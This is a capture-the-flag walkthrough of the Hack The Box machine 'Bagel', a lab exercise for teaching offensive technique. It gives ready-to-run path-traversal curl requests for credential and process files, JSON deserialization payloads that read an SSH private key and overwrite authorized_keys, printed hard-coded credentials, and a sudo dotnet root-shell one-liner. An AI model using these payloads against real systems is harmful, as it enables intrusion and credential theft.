HTB • Bagel
Bagel is a medium difficulty linux machine created by CestLaVie on Hack the Box that features a vulnerable web server that can be manipulated to read unintended files from the local filesystem. We exploit this to download the .NET assembly associated with a websocket listener on port 5000. This websocket server turns out to also be vulnerable to an unrestricted file read, which we use to read the private SSH key of the user phil. We use the foothold as this user to login as another user named developer using previously found credentials. Under the developer user, we can run /usr/bin/dotnet
as root using sudo. This exception allows us to indirectly spawn an interactive shell as root then read the final flag.
Initial Recon
Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
5
6
# bryan@attacker
rhost="10.10.11.201" # Target IP address
lhost="10.10.14.4" # Your VPN IP address
echo rhost=$rhost >> .env
echo lhost=$lhost >> .env
. ./.env && ctfscan $rhost
The open TCP ports reported in the scan include:
Port | Service | Product | Version |
---|---|---|---|
22 | SSH | OpenSSH | 8.8 |
5000 | HTTP | Microsoft-NetCore | 1.18.0 |
8000 | HTTP | Werkzeug / Python | 2.2.2 / 3.10.9 |
We’ll begin by investigating port 8000 because a standard HTTP request to port 5000 prompts an error, while port 8000 responds fine.
Port 8000
When we send a standard GET request to the HTTP server on port 8000, we are redirected to http://bagel.htb:8000/?page=index.html. Let’s add this hostname to /etc/hosts
so we can access the intended site.
1
2
3
# bryan@attacker
echo 'vhost=("bagel.htb")' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts
Now we’ll visit the site in a browser session that is routed through our local BurpSuite proxy.
The home page doesn’t seem to have any useful information on it, but it does have a sketchy way of dynamically loading HTML content. The page parameter is presumably used to fetch a file off of the local filesystem, which could potentially be abused to read sensitive files.
File Read
It turns out, we can read files outside of our working directory such as /etc/passwd
.
1
2
# bryan@attacker
curl "http://bagel.htb:8000/?page=../../../../etc/passwd" # read /etc/passwd
Let’s read /proc/self/cmdline
and /proc/self/environ
to learn more about the current process.
1
2
3
# bryan@attacker
curl "http://bagel.htb:8000/?page=../../../../proc/self/cmdline" -so- | tr \\0 " "
curl "http://bagel.htb:8000/?page=../../../../proc/self/environ" -so- | tr \\0 \\n
From the environment variables, we learn that the current user is developer with the home directory at /home/developer
. From the command line arguments, we learn that the web server’s source code is at /home/developer/app/app.py
. Let’s read the app’s source to look for a path forward.
1
2
# bryan@attacker
curl "http://bagel.htb:8000/?page=../../../../home/developer/app/app.py" -o app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
The /orders
route establishes a websocket connection to local port 5000. The client then sends some JSON content requesting a file, and reads the response which is probably the file contents. There are also some interesting comments referring to the service on port 5000 as the “order app” and suggesting that the it is a .NET assembly. Let’s see if we can find the location of the order app by fuzzing processes with command line arguments.
1
2
3
4
# bryan@attacker
for i in {1..9999}; do echo "proc/$i/cmdline"; done > cmdls.txt
ffuf -u "http://bagel.htb:8000/?page=../../../../FUZZ" -w cmdls.txt -fr 'File not found' -fs 0 -od match
tail -n1 match/* | tr \\0 ' ' | grep -v ^==\> | sort -u
We find a process with the arguments dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
, which is probably the order app process. Now we’ll download the assembly at /opt/bagel/bin/Debug/net6.0/bagel.dll
and decompile it using ILSpy or DNSpy.
1
2
3
# bryan@attacker
curl "http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll" -o bagel.dll
file bagel.dll # Correct format
Order App
The assembly only has one relevant namespace called bagel_server, which we will be working with from now on.
Hard-Coded Credentials
As we browse the decompilation we encounter a set of hard-coded database credentials in the DB.DB_connection method. The username used is dev and the associated password is k8wdAYYKyhnjg3K.
We try to spray this password against the list of console users we found in /etc/passwd
over SSH, but it looks like the SSH server does not accept password-based authentication.
Code Review
The method Bagel.Main, which is defined as the entry point, calls InitializeServer and StartServer, then enters an infinite loop.
1
2
3
4
5
6
7
8
9
10
// bagel_server.Bagel
using System.Threading;
private static void Main(string[] args) {
InitializeServer();
StartServer();
while (true) {
Thread.Sleep(1000);
}
}
Bagel.InitializeServer initializes the websocket server with the Bagel.MessageReceived method as the message handler. Looking at Bagel.MessageReceived, it appears that any valid JSON messages will be sent to Handler.Deserialize, then re-serialized with Handler.Serialize. The product is then returned to the client via websocket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// bagel_server.Bagel
using System.Text;
using System.Threading;
using WatsonWebsocket;
private static void MessageReceived(object sender, MessageReceivedEventArgs args) {
string json = "";
if (args.get_Data() != null && args.get_Data().Count > 0) {
json = Encoding.UTF8.GetString(args.get_Data().Array, 0, args.get_Data().Count);
}
Handler handler = new Handler();
object obj = handler.Deserialize(json);
object obj2 = handler.Serialize(obj);
_Server.SendAsync(args.get_IpPort(), obj2.ToString(), default(CancellationToken));
}
In bagel_server.Handler, it appears that Serialize and Deserialize use the Newtonsoft.Json library.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// bagel_server.Handler
using bagel_server;
using Newtonsoft.Json;
public object Serialize(object obj) {
return JsonConvert.SerializeObject(obj, Formatting.Indented, new JsonSerializerSettings{
TypeNameHandling = TypeNameHandling.Auto
});
}
public object Deserialize(string json) {
try {
return JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings{
TypeNameHandling = TypeNameHandling.Auto
});
} catch {
return "{\"Message\":\"unknown\"}";
}
}
After some research, we discover that with TypeNameHandling set to TypeNameHandling.Auto in the serializer settings, the string passed to Deserialize can instantiate objects of any type using the $type key. With that being said, it is required that the data can be cast to Base without encountering an error. This behavior can be classified as a restricted form of insecure deserialization.
Insecure Deserialization
Within the Orders class, there are three public properties: RemoveOrder, WriteOrder, and ReadOrder. These properties are inherited by Base, which we can observe when sending a request with this simple websocket client.
1
2
# bryan@attacker
wscurl "ws://bagel.htb:5000"
1 2 3 4 5 6 7 8 { "UserId": 0, "Session": "Unauthorized", "Time": "1:42:27", "RemoveOrder": null, "WriteOrder": null, "ReadOrder": null }
The RemoveOrder property is of particular interest to us because it is defined as an object rather than a string, which means we could use the deserialization flaw we found earlier to instantiate an object of any given class. Exploiting this on a Windows based machine would be fairly trivial due to the amount of known RCE gadgets (more reading).
File Class
There is a class called File that performs some potentially dangerous actions involving the filesystem. Two properties in particular: ReadFile and WriteFile, will perform actions when their values are read or written to using get/set statements.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// bagel_server.File
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
public class File
{
private string file_content;
private string IsSuccess = null;
private string directory = "/opt/bagel/orders/";
private string filename = "orders.txt";
public string ReadFile {
get {
return file_content;
}
set {
filename = value;
ReadContent(directory + filename);
}
}
public string WriteFile {
get {
return IsSuccess;
} set {
WriteContent(directory + filename, value);
}
}
public void ReadContent(string path) {
try {
IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
file_content += string.Join("\n", values);
} catch (Exception) {
file_content = "Order not found!";
}
}
public void WriteContent(string filename, string line) {
try {
File.WriteAllText(filename, line);
IsSuccess = "Operation successed";
} catch (Exception) {
IsSuccess = "Operation failed";
}
}
}
Unrestricted File Read
The ReadFile property takes the location of the intended directory (/opt/bagel/orders/
) and directly concatenates it with the value from the set statement. This could be abused using the ../
sequence to read any available file under the context of the current process. Let’s put everything together and try to read /etc/passwd
.
All this payload should do is specify the object class as bagel_server.File by setting the $type key to the appropriate value, and pass the file path to the ReadFile property.
1
2
3
4
# bryan@attacker
type="bagel_server.File, bagel" # in the format `class, assembly`
read="../../../etc/passwd" # read this file
wscurl "ws://bagel.htb:5000" -d '{"RemoveOrder":{"$type":"'$type'","ReadFile":"'$read'"}}'
The contents are successfully returned in the value of ReadFile. Now let’s read something a bit more interesting like the process environment variables.
1
2
3
# bryan@attacker
read="../../../proc/self/environ" # read this file
wscurl "ws://bagel.htb:5000" -d '{"RemoveOrder":{"$type":"'$type'","ReadFile":"'$read'"}}'
The USER environment variable tells us that this process is running as the user phil. Knowing the process user, we request /home/phil/.ssh/id_rsa
which yields phil’s private SSH key.
Unrestricted File Write (Extra Credit)
It turns out, we can also use the insecure deserialization to write files as phil. This is possible because we can make ReadFile change the filename property before WriteFile accesses it. If we pack an assignment to ReadFile then WriteFile into a single object, we can effectively overwrite files with content of our choice.
1
2
3
4
5
# bryan@attacker
public=$(cat ~/.ssh/id_rsa.pub | cut -d\ -f-2) # Get SSH public key
file="../../../home/phil/.ssh/authorized_keys" # Write to this file
wscurl "ws://bagel.htb:5000" \
-d '{"RemoveOrder":{"$type":"'$type'","ReadFile":"'$file'","WriteFile":"'$public'"}}'
Privilege Escalation
Now that we have established a proper shell we can check if the password we found earlier is valid on any accounts.
1
2
3
# bryan@attacker
chmod 600 phil_id_rsa
ssh -i phil_id_rsa phil@bagel.htb
1
2
# phil@bagel.htb (SSH)
su developer
The login is successful for the user developer.
Developer
Using the sudo -l
command, we discover that developer can run /usr/bin/dotnet
as root.
1 2 User developer may run the following commands on bagel: (root) NOPASSWD: /usr/bin/dotnet
A quick reference to GTFOBins reveals that we can abuse this exception to get a shell as root.
1
2
3
4
# developer@bagel.htb (SSH)
TF=$(mktemp --suffix=.fsx)
echo 'System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;' > $TF
sudo /usr/bin/dotnet fsi $TF